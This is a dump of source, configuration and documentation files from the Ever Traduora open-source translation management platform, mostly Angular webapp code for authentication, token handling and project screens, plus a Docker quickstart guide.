/docs/assets/images/screenshots/import.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/import.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/labels.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/labels.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/project-settings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/project-settings.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/project-team.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/project-team.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/projects-team.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/projects-team.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/projects.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/projects.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/terms.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/terms.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/translations-add-term-value.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/translations-add-term-value.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/translations-select-locale.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/translations-select-locale.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/translations-update-term-value.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/translations-update-term-value.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/translations.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/translations.png -------------------------------------------------------------------------------- /docs/faq.md: -------------------------------------------------------------------------------- 1 | --- 2 | id: faq 3 | title: FAQ 4 | sidebar_label: FAQ 5 | --- 6 | 7 | ## Is Traduora free? 8 | 9 | Traduora is free, open-source and simple to set up. You can even set it up for your entire company on your own servers. There are no usage limits and your data stays private and on your own servers. 10 | 11 | ## Is there a hosted version? 12 | 13 | There is no hosted version of Traduora at the moment. However, we might offer this sometime in the future. 14 | 15 | ## Where can I send a feature request / bug report? 16 | 17 | Please file an [issue](https://github.com/ever-co/ever-traduora/issues) on GitHub as that's our main channel for both feature requests and bug reports. If you discover any issue regarding security however, please disclose the information responsibly by sending an email to security@ever.co and not by creating a GitHub issue. 18 | 19 | ## Is Traduora available in my language? 20 | 21 | Of course we'd like Traduora to be available in as many languages as possible. We're setting up a Traduora server for translating Traduora itself, check back soon for more details on how to contribute. 22 | 23 | ## What is Traduora's license? 24 | 25 | You can check out the license for the source code [here](https://github.com/ever-co/ever-traduora/blob/master/LICENSE). 26 | -------------------------------------------------------------------------------- /docs/getting-started.md: -------------------------------------------------------------------------------- 1 | --- 2 | id: getting-started 3 | title: Getting started 4 | sidebar_label: Getting started 5 | --- 6 | 7 | Ever® Traduora is an Open-Source **Translation Management Platform**. 8 | 9 | Once you setup your project you can import and export your translations to various formats, work together with your team, instantly deliver translation updates over the air, and _soon_ automatically translate your project via third-party integrations. 10 | 11 | We want Traduora to become the home for managing your translation workflow, that's why we have made all of the core product **open-source** with the intention to grow a **community** and enable developers to build on top of it as a platform. 12 | 13 | ## Screenshots 14 | 15 | Please see [screenshots](screenshots.md) from Traduora UI. 16 | 17 | ## Try it out 18 | 19 | Traduora can be run just about anywhere. 20 | For a 5 second quickstart simply run our example docker-compose setup: 21 | 22 | ```sh 23 | git clone https://github.com/ever-co/ever-traduora 24 | cd ever-traduora 25 | docker-compose -f docker-compose.demo.yaml up 26 | ``` 27 | 28 | Now go to your browser on http://localhost:8080 and that's it! 29 | 30 | Note: if you want to build docker image locally (instead of downloading prebuilt one), just run `docker-compose up` instead of `docker-compose -f docker-compose.demo.yaml up`. 31 | 32 | ## Deployment and configuration 33 | 34 | Please check out the [configuration](configuration.md) and [deployment](deployment.md) documents for more information on deploying Traduora. 35 | -------------------------------------------------------------------------------- /lerna.json: -------------------------------------------------------------------------------- 1 | { 2 | "lerna": "4.0.0", 3 | "npmClient": "yarn", 4 | "version": "0.20.5", 5 | "changelog": { 6 | "repo": "ever-co/ever-traduora", 7 | "cacheDir": ".changelog", 8 | "labels": {} 9 | }, 10 | "packages": ["api", "webapp", "docs-website"], 11 | "useWorkspaces": true, 12 | "command": { 13 | "exec": {}, 14 | "clean": { 15 | "yes": true 16 | } 17 | }, 18 | "npmClientArgs": ["--no-package-lock"] 19 | } 20 | -------------------------------------------------------------------------------- /package.workspaces.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ever-traduora", 3 | "version": "0.1.0", 4 | "repository": "https://github.com/ever-co/ever-traduora.git", 5 | "private": true, 6 | "resolutions": {}, 7 | "workspaces": ["webapp", "api", "docs-website"] 8 | } 9 | -------------------------------------------------------------------------------- /wait: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/wait -------------------------------------------------------------------------------- /webapp/.browserslistrc: -------------------------------------------------------------------------------- 1 | # This file is currently used by autoprefixer to adjust CSS to support the below specified browsers 2 | # For additional information regarding the format and rule options, please see: 3 | # https://github.com/browserslist/browserslist#queries 4 | # 5 | # For IE 9-11 support, please remove 'not' from the last line of the file and adjust as needed 6 | 7 | > 1% 8 | last 2 versions 9 | Firefox ESR 10 | not dead 11 | not IE 9-11 -------------------------------------------------------------------------------- /webapp/.dockerignore: -------------------------------------------------------------------------------- 1 | **/*node_modules/ 2 | **/*dist/ 3 | Dockerfile 4 | .dockerignore -------------------------------------------------------------------------------- /webapp/.editorconfig: -------------------------------------------------------------------------------- 1 | # Editor configuration, see http://editorconfig.org 2 | root = true 3 | 4 | [*] 5 | charset = utf-8 6 | indent_style = space 7 | indent_size = 2 8 | insert_final_newline = true 9 | trim_trailing_whitespace = true 10 | 11 | [*.md] 12 | max_line_length = off 13 | trim_trailing_whitespace = false 14 | -------------------------------------------------------------------------------- /webapp/.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "root": true, 3 | "ignorePatterns": ["projects/**/*"], 4 | "overrides": [ 5 | { 6 | "files": ["*.ts"], 7 | "extends": [ 8 | "eslint:recommended", 9 | "plugin:@typescript-eslint/recommended", 10 | "plugin:@angular-eslint/recommended", 11 | "plugin:@angular-eslint/template/process-inline-templates" 12 | ], 13 | "rules": { 14 | "@angular-eslint/directive-selector": [ 15 | "error", 16 | { 17 | "type": "attribute", 18 | "prefix": "app", 19 | "style": "camelCase" 20 | } 21 | ], 22 | "@angular-eslint/component-selector": [ 23 | "error", 24 | { 25 | "type": "element", 26 | "prefix": "app", 27 | "style": "kebab-case" 28 | } 29 | ] 30 | } 31 | }, 32 | { 33 | "files": ["*.html"], 34 | "extends": ["plugin:@angular-eslint/template/recommended", "plugin:@angular-eslint/template/accessibility"], 35 | "rules": {} 36 | } 37 | ] 38 | } 39 | -------------------------------------------------------------------------------- /webapp/.gitignore: -------------------------------------------------------------------------------- 1 | # See http://help.github.com/ignore-files/ for more about ignoring files. 2 | 3 | # compiled output 4 | /dist 5 | /tmp 6 | /out-tsc 7 | /src/styles/generated.css 8 | 9 | # dependencies 10 | /node_modules 11 | 12 | # IDEs and editors 13 | /.idea 14 | .project 15 | .classpath 16 | .c9/ 17 | *.launch 18 | .settings/ 19 | *.sublime-workspace 20 | 21 | # IDE - VSCode 22 | .vscode/* 23 | !.vscode/settings.json 24 | !.vscode/tasks.json 25 | !.vscode/launch.json 26 | !.vscode/extensions.json 27 | 28 | # misc 29 | /.angular/cache 30 | /.cache 31 | /.sass-cache 32 | /connect.lock 33 | /coverage 34 | /libpeerconnection.log 35 | npm-debug.log 36 | yarn-error.log 37 | testem.log 38 | /typings 39 | 40 | # System Files 41 | .DS_Store 42 | Thumbs.db 43 | -------------------------------------------------------------------------------- /webapp/e2e/protractor.conf.js: -------------------------------------------------------------------------------- 1 | // Protractor configuration file, see link for more information 2 | // https://github.com/angular/protractor/blob/master/lib/config.ts 3 | 4 | const { SpecReporter } = require('jasmine-spec-reporter'); 5 | 6 | exports.config = { 7 | allScriptsTimeout: 11000, 8 | specs: ['./src/**/*.e2e-spec.ts'], 9 | capabilities: { 10 | browserName: 'chrome', 11 | }, 12 | directConnect: true, 13 | baseUrl: 'http://localhost:4200/', 14 | framework: 'jasmine', 15 | jasmineNodeOpts: { 16 | showColors: true, 17 | defaultTimeoutInterval: 30000, 18 | print: function () {}, 19 | }, 20 | onPrepare() { 21 | require('ts-node').register({ 22 | project: require('path').join(__dirname, './tsconfig.e2e.json'), 23 | }); 24 | jasmine.getEnv().addReporter(new SpecReporter({ spec: { displayStacktrace: true } })); 25 | }, 26 | }; 27 | -------------------------------------------------------------------------------- /webapp/e2e/src/app.e2e-spec.ts: -------------------------------------------------------------------------------- 1 | import { AppPage } from './app.po'; 2 | 3 | describe('workspace-project App', () => { 4 | let page: AppPage; 5 | 6 | beforeEach(() => { 7 | page = new AppPage(); 8 | }); 9 | 10 | it('should display welcome message', () => { 11 | page.navigateTo(); 12 | expect(page.getParagraphText()).toEqual('Welcome to auth-web!'); 13 | }); 14 | }); 15 | -------------------------------------------------------------------------------- /webapp/e2e/src/app.po.ts: -------------------------------------------------------------------------------- 1 | import { browser, by, element } from 'protractor'; 2 | 3 | export class AppPage { 4 | navigateTo() { 5 | return browser.get('/'); 6 | } 7 | 8 | getParagraphText() { 9 | return element(by.css('app-root h1')).getText(); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /webapp/e2e/tsconfig.e2e.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "../tsconfig.json", 3 | "compilerOptions": { 4 | "outDir": "../out-tsc/app", 5 | "module": "commonjs", 6 | "target": "es5", 7 | "types": ["jasmine", "jasminewd2", "node"] 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /webapp/src/app/app.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/app.component.css -------------------------------------------------------------------------------- /webapp/src/app/app.component.html: -------------------------------------------------------------------------------- 1 |
2 | 3 | 4 |
5 |
6 | -------------------------------------------------------------------------------- /webapp/src/app/auth/components/callback/callback.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/auth/components/callback/callback.component.css -------------------------------------------------------------------------------- /webapp/src/app/auth/components/callback/callback.component.html: -------------------------------------------------------------------------------- 1 |
2 | 3 |
Loading...
4 |
5 | -------------------------------------------------------------------------------- /webapp/src/app/auth/components/callback/callback.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, OnInit } from '@angular/core'; 2 | import { ActivatedRoute, Router } from '@angular/router'; 3 | import { Store } from '@ngxs/store'; 4 | import { ReceiveAuthProviderCode } from '../../stores/auth.state'; 5 | 6 | @Component({ 7 | selector: 'app-callback', 8 | templateUrl: './callback.component.html', 9 | styleUrls: ['./callback.component.css'], 10 | }) 11 | export class AuthCallbackComponent implements OnInit { 12 | constructor( 13 | private activatedRoute: ActivatedRoute, 14 | private store: Store, 15 | private router: Router, 16 | ) {} 17 | ngOnInit(): void { 18 | this.activatedRoute.queryParams.subscribe(params => { 19 | if (!params.code) { 20 | this.router.navigate(['/']); 21 | } 22 | this.store.dispatch(new ReceiveAuthProviderCode(params.code)); 23 | }); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /webapp/src/app/auth/components/forgot-password/forgot-password.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/auth/components/forgot-password/forgot-password.component.css -------------------------------------------------------------------------------- /webapp/src/app/auth/components/forgot-password/forgot-password.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, OnDestroy } from '@angular/core'; 2 | import { FormBuilder, Validators } from '@angular/forms'; 3 | import { Select, Store } from '@ngxs/store'; 4 | import { Observable } from 'rxjs'; 5 | import { ClearMessages, ForgotPassword } from '../../stores/auth.state'; 6 | 7 | @Component({ 8 | selector: 'app-forgot-password', 9 | templateUrl: './forgot-password.component.html', 10 | styleUrls: ['./forgot-password.component.css'], 11 | }) 12 | export class ForgotPasswordComponent implements OnDestroy { 13 | forgotPasswordForm = this.fb.group({ 14 | email: ['', [Validators.required, Validators.email]], 15 | }); 16 | 17 | constructor( 18 | private fb: FormBuilder, 19 | private store: Store, 20 | ) {} 21 | 22 | @Select(state => state.auth.statusMessage) 23 | statusMessage$: Observable; 24 | 25 | @Select(state => state.auth.errorMessage) 26 | errorMessage$: Observable; 27 | 28 | @Select(state => state.auth.isLoading) 29 | isLoading$: Observable; 30 | 31 | message: string | undefined; 32 | 33 | ngOnDestroy() { 34 | this.store.dispatch(new ClearMessages()); 35 | } 36 | 37 | onSubmit() { 38 | if (!this.forgotPasswordForm.valid) { 39 | return; 40 | } 41 | 42 | this.store.dispatch(new ForgotPassword(this.email.value as string)); 43 | } 44 | 45 | get email() { 46 | return this.forgotPasswordForm.get('email'); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /webapp/src/app/auth/components/login/login.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/auth/components/login/login.component.css -------------------------------------------------------------------------------- /webapp/src/app/auth/components/reset-password/reset-password.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/auth/components/reset-password/reset-password.component.css -------------------------------------------------------------------------------- /webapp/src/app/auth/components/sign-in-with/sign-in-with.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/auth/components/sign-in-with/sign-in-with.component.css -------------------------------------------------------------------------------- /webapp/src/app/auth/components/sign-in-with/sign-in-with.component.html: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /webapp/src/app/auth/components/sign-in-with/sign-in-with.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, Input } from '@angular/core'; 2 | import { Provider } from '../../models/provider'; 3 | import { RedirectToAuthProvider } from '../../stores/auth.state'; 4 | import { Store } from '@ngxs/store'; 5 | 6 | @Component({ 7 | selector: 'app-sign-in-with', 8 | templateUrl: './sign-in-with.component.html', 9 | styleUrls: ['./sign-in-with.component.css'], 10 | }) 11 | export class SignInWithComponent { 12 | @Input() 13 | provider: Provider; 14 | 15 | constructor(private store: Store) {} 16 | 17 | signInWithProvider(provider: Provider) { 18 | this.store.dispatch(new RedirectToAuthProvider(provider)); 19 | } 20 | 21 | providerToButton(provider: Provider): string { 22 | switch (provider.slug) { 23 | case 'google': 24 | return 'assets/img/signin-google/btn_google_signin_light_normal_web@2x.png'; 25 | default: 26 | return 'Unknown auth provider'; 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /webapp/src/app/auth/components/signup/signup.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/auth/components/signup/signup.component.css -------------------------------------------------------------------------------- /webapp/src/app/auth/components/user-settings/user-settings.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/auth/components/user-settings/user-settings.component.css -------------------------------------------------------------------------------- /webapp/src/app/auth/guards/auth.guard.ts: -------------------------------------------------------------------------------- 1 | import { Injectable } from '@angular/core'; 2 | import { ActivatedRouteSnapshot, RouterStateSnapshot } from '@angular/router'; 3 | import { Store } from '@ngxs/store'; 4 | import { Observable } from 'rxjs'; 5 | import { map } from 'rxjs/operators'; 6 | import { AuthState, MustLogin } from '../stores/auth.state'; 7 | 8 | @Injectable({ 9 | providedIn: 'root', 10 | }) 11 | export class AuthGuard { 12 | constructor(private store: Store) {} 13 | 14 | canActivate(next: ActivatedRouteSnapshot, state: RouterStateSnapshot): Observable | Promise | boolean { 15 | return this.store.selectOnce(AuthState.isAuthenticated).pipe( 16 | map(ok => { 17 | if (!ok) { 18 | this.store.dispatch(new MustLogin(state.url)); 19 | } 20 | return true; 21 | }), 22 | ); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /webapp/src/app/auth/guards/no-auth.guard.ts: -------------------------------------------------------------------------------- 1 | import { Injectable } from '@angular/core'; 2 | import { ActivatedRouteSnapshot, RouterStateSnapshot } from '@angular/router'; 3 | import { Navigate } from '@ngxs/router-plugin'; 4 | import { Store } from '@ngxs/store'; 5 | import { Observable } from 'rxjs'; 6 | import { map } from 'rxjs/operators'; 7 | import { AuthState } from '../stores/auth.state'; 8 | 9 | @Injectable({ 10 | providedIn: 'root', 11 | }) 12 | export class NoAuthGuard { 13 | constructor(private store: Store) {} 14 | 15 | canActivate(next: ActivatedRouteSnapshot, state: RouterStateSnapshot): Observable | Promise | boolean { 16 | return this.store.selectOnce(AuthState.isAuthenticated).pipe( 17 | map(isAuthenticated => { 18 | if (isAuthenticated) { 19 | this.store.dispatch(new Navigate(['/'])); 20 | return false; 21 | } 22 | return true; 23 | }), 24 | ); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /webapp/src/app/auth/models/provider.ts: -------------------------------------------------------------------------------- 1 | export interface Provider { 2 | slug: string; 3 | url: string; 4 | redirectUrl: string; 5 | clientId: string; 6 | } 7 | -------------------------------------------------------------------------------- /webapp/src/app/auth/models/user-login.ts: -------------------------------------------------------------------------------- 1 | export interface UserLogin { 2 | email: string; 3 | password: string; 4 | } 5 | 6 | export interface UserLoginWithProvider { 7 | code: string; 8 | } 9 | -------------------------------------------------------------------------------- /webapp/src/app/auth/models/user-signup.ts: -------------------------------------------------------------------------------- 1 | export interface UserSignup { 2 | name: string; 3 | email: string; 4 | password: string; 5 | } 6 | 7 | export interface UserSignupWithProvider { 8 | code: string; 9 | } 10 | -------------------------------------------------------------------------------- /webapp/src/app/auth/models/user.ts: -------------------------------------------------------------------------------- 1 | export class User { 2 | id: string; 3 | name: string; 4 | email: string; 5 | } 6 | -------------------------------------------------------------------------------- /webapp/src/app/auth/services/error.interceptor.ts: -------------------------------------------------------------------------------- 1 | import { HttpErrorResponse, HttpEvent, HttpHandler, HttpInterceptor, HttpRequest } from '@angular/common/http'; 2 | import { Injectable } from '@angular/core'; 3 | import { Store } from '@ngxs/store'; 4 | import { Observable, throwError } from 'rxjs'; 5 | import { catchError } from 'rxjs/operators'; 6 | import { Logout } from '../stores/auth.state'; 7 | 8 | @Injectable() 9 | export class ErrorInterceptor implements HttpInterceptor { 10 | constructor(private store: Store) {} 11 | 12 | intercept(request: HttpRequest, next: HttpHandler): Observable> { 13 | return next.handle(request).pipe( 14 | catchError(err => { 15 | if (err instanceof HttpErrorResponse && err.status === 401 && !this.whitelisted(request)) { 16 | this.store.dispatch(new Logout('Your session has expired, please signin to continue.')); 17 | } 18 | return throwError(err); 19 | }), 20 | ); 21 | } 22 | 23 | private whitelisted(request: HttpRequest): boolean { 24 | if (request.url.includes('change-password')) { 25 | return true; 26 | } 27 | return false; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /webapp/src/app/auth/services/token.interceptor.ts: -------------------------------------------------------------------------------- 1 | import { HttpEvent, HttpHandler, HttpInterceptor, HttpRequest } from '@angular/common/http'; 2 | import { Injectable } from '@angular/core'; 3 | import { Observable } from 'rxjs'; 4 | import { TokenService } from './token.service'; 5 | 6 | @Injectable() 7 | export class TokenInterceptor implements HttpInterceptor { 8 | constructor(private tokenService: TokenService) {} 9 | 10 | intercept(request: HttpRequest, next: HttpHandler): Observable> { 11 | const token = this.tokenService.getToken(); 12 | if (token) { 13 | request = request.clone({ 14 | setHeaders: { 15 | Authorization: `Bearer ${token}`, 16 | }, 17 | }); 18 | } 19 | return next.handle(request); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /webapp/src/app/auth/services/token.service.ts: -------------------------------------------------------------------------------- 1 | import { Injectable } from '@angular/core'; 2 | import jwtDecode from 'jwt-decode'; 3 | 4 | @Injectable({ 5 | providedIn: 'root', 6 | }) 7 | export class TokenService { 8 | private readonly tokenKey = 'accessToken'; 9 | 10 | getToken(): string | undefined { 11 | return localStorage.getItem(this.tokenKey); 12 | } 13 | 14 | setToken(token: string) { 15 | localStorage.setItem(this.tokenKey, token); 16 | } 17 | 18 | clearToken() { 19 | localStorage.removeItem(this.tokenKey); 20 | } 21 | 22 | isTokenValid(): boolean { 23 | const token = this.getToken(); 24 | if (!token) { 25 | return false; 26 | } 27 | const claims = jwtDecode(token) as { iat: number; exp: number; sub: string }; 28 | const now = Math.round(new Date().getTime() / 1000); 29 | const expired = claims.exp <= now; 30 | return !expired; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/add-api-client/add-api-client.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/add-api-client/add-api-client.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/add-team-member/add-team-member.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/add-team-member/add-team-member.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/api-client/api-client.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/api-client/api-client.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/api-client/api-client.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, EventEmitter, Input, Output } from '@angular/core'; 2 | import { ProjectClient } from '../../models/project-client'; 3 | import { ProjectRole } from '../../models/project-role'; 4 | 5 | @Component({ 6 | selector: 'app-api-client', 7 | templateUrl: './api-client.component.html', 8 | styleUrls: ['./api-client.component.css'], 9 | }) 10 | export class ApiClientComponent { 11 | @Input() 12 | projectClient: ProjectClient; 13 | 14 | @Input() 15 | canEdit = false; 16 | 17 | @Input() 18 | canDelete = false; 19 | 20 | @Output() 21 | edit = new EventEmitter(); 22 | 23 | @Output() 24 | remove = new EventEmitter(); 25 | 26 | projectRoles = [ProjectRole.Admin, ProjectRole.Editor, ProjectRole.Viewer]; 27 | 28 | withRole(user: ProjectClient, role: ProjectRole): ProjectClient { 29 | return { ...user, role: role }; 30 | } 31 | 32 | copyToClipboard(text) { 33 | document.addEventListener('copy', (e: ClipboardEvent) => { 34 | e.clipboardData.setData('text/plain', text); 35 | e.preventDefault(); 36 | document.removeEventListener('copy', null); 37 | }); 38 | document.execCommand('copy'); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/api-clients-overview/api-clients-overview.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/api-clients-overview/api-clients-overview.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/assigned-labels/assigned-labels.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/assigned-labels/assigned-labels.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/edit-label/edit-label.component.css: -------------------------------------------------------------------------------- 1 | .invalid-feedback { 2 | position: absolute; 3 | } 4 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/export-container/export-container.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/export-container/export-container.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/export-container/export-container.component.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
Export Project Translation
4 |
5 |
6 |
7 | 8 |
9 |
10 |
11 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/export-container/export-container.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, OnDestroy, OnInit } from '@angular/core'; 2 | import { Select, Store } from '@ngxs/store'; 3 | import { Observable, Subscription } from 'rxjs'; 4 | import { map, tap } from 'rxjs/operators'; 5 | import { Locale } from '../../models/locale'; 6 | import { Project } from '../../models/project'; 7 | import { ProjectLocale } from '../../models/project-locale'; 8 | import { ProjectsState } from '../../stores/projects.state'; 9 | import { ClearMessages, GetProjectLocales, TranslationsState } from '../../stores/translations.state'; 10 | 11 | @Component({ 12 | selector: 'app-export-container', 13 | templateUrl: './export-container.component.html', 14 | styleUrls: ['./export-container.component.css'], 15 | }) 16 | export class ExportContainerComponent implements OnInit, OnDestroy { 17 | @Select(ProjectsState.currentProject) 18 | project$: Observable; 19 | 20 | @Select(TranslationsState.projectLocales) 21 | projectLocales$!: Observable; 22 | 23 | @Select(TranslationsState.isLoading) 24 | isLoading$: Observable; 25 | 26 | existingLocales$: Observable = this.projectLocales$.pipe(map(x => x.map(y => y.locale))); 27 | 28 | constructor(private store: Store) {} 29 | 30 | sub: Subscription; 31 | 32 | async ngOnInit() { 33 | this.sub = this.project$.pipe(tap(project => this.store.dispatch(new GetProjectLocales(project.id)))).subscribe(); 34 | } 35 | 36 | ngOnDestroy() { 37 | this.store.dispatch(new ClearMessages()); 38 | this.sub.unsubscribe(); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/export-locale/export-locale.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/export-locale/export-locale.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/import-container/import-container.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/import-container/import-container.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/import-container/import-container.component.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
Import Project Translation
4 |
5 |
6 |
7 | 14 |
15 |
16 |
17 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/import-locale/import-locale.component.css: -------------------------------------------------------------------------------- 1 | .file-drop-area { 2 | background-color: #f7f7f7; 3 | border-radius: 1rem; 4 | padding: 3rem; 5 | border: 2px dashed #e7e7e7; 6 | } 7 | 8 | .file-drop-area.hovering { 9 | background-color: #f0f0f0; 10 | } 11 | 12 | .inputfile { 13 | cursor: pointer; 14 | width: 0.1px; 15 | height: 0.1px; 16 | opacity: 1; 17 | overflow: hidden; 18 | position: absolute; 19 | z-index: -1; 20 | } 21 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/labels-list/labels-list.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/labels-list/labels-list.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/new-label/new-label.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/new-label/new-label.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/new-project/new-project.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/new-project/new-project.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/new-term/new-term.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/new-term/new-term.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/project-card/project-card.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/project-card/project-card.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/project-card/project-card.component.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 |
{{ project.name }}
5 | 6 |

7 | {{ project.role | titlecase }} 8 |

9 |
10 |

{{ project.description }}

11 |
12 |

13 | {{ project.termsCount }} 14 | {project.termsCount, plural, =0 {terms} =1 {term} other {terms}} 15 |

16 |

